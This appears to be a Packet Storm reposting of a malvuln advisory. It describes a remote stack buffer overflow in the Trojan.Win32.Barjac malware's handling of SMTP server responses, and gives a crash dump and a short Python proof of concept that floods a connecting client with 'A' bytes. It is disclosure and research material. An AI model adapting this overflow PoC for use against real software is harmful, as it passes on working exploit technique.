exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Trojan.Win32.Barjac MVID-2021-0011 Remote Stack Buffer Overflow

Trojan.Win32.Barjac MVID-2021-0011 Remote Stack Buffer Overflow
Posted Jan 4, 2021
Authored by malvuln | Site malvuln.com

Trojan.Win32.Barjac malware suffers from a remote stack buffer overflow vulnerability.

tags | exploit, remote, overflow, trojan
systems | windows
SHA-256 | 830d07090b48765c91480342ae79955c3e97436c901eb2c6598ae9da90d6dff7

Trojan.Win32.Barjac MVID-2021-0011 Remote Stack Buffer Overflow

Change Mirror Download
Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source: http://malvuln.com/advisory/62ad686f97faaa68f580d32d25333f51.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln


Threat: Trojan.Win32.Barjac
Vulnerability: Remote Stack Buffer Overflow.
Description: Trojan.Win32.Barjac makes SMTP connection to Port 25, upon processing the server response we control, we overwrite instruction pointer (EIP), undermining the integrity of the trojan.

Type: PE32
MD5: 62ad686f97faaa68f580d32d25333f51
Vuln ID: MVID-2021-0011
Dropped files:
ASLR: False
Safe SEH: True
DEP: False
Disclosure: 01/01/2021

Memory Dump:
EAX : 41414141
EBX : 0404DD00
ECX : 00002736
EDX : 0404DD00
EBP : 0019FE78
ESP : 0019FE50
ESI : 00002736
EDI : 00002733
EIP : 41414141

ExceptionAddress: 41414141
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 41414141
Attempt to read from address 41414141


CONTEXT: 0019f9f0 -- (.cxr 0x19f9f0)
eax=41414141 ebx=03fddd00 ecx=00002736 edx=03fddd00 esi=00002736 edi=00002733
eip=41414141 esp=0019fe50 ebp=0019fe78 iopl=0 nv up ei ng nz ac po cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010293
41414141 ?? ???


Exploit/PoC:
import socket

junk = "A"
payload=junk*65600
port=25

def doit():
global payload

s = socket.socket()
print("Trojan.Win32.Barjac / Remote Buffer Overflow")
print("MD5: 62ad686f97faaa68f580d32d25333f51")
print("By malvuln")

try:
host = ''
s.bind((host, port))
s.listen(5)

while True:
conn, addr = s.accept()
conn.send(payload+'\r\n')
conn.close()
except Exception as e:
pass

if __name__=="__main__":
doit()



Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occuring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close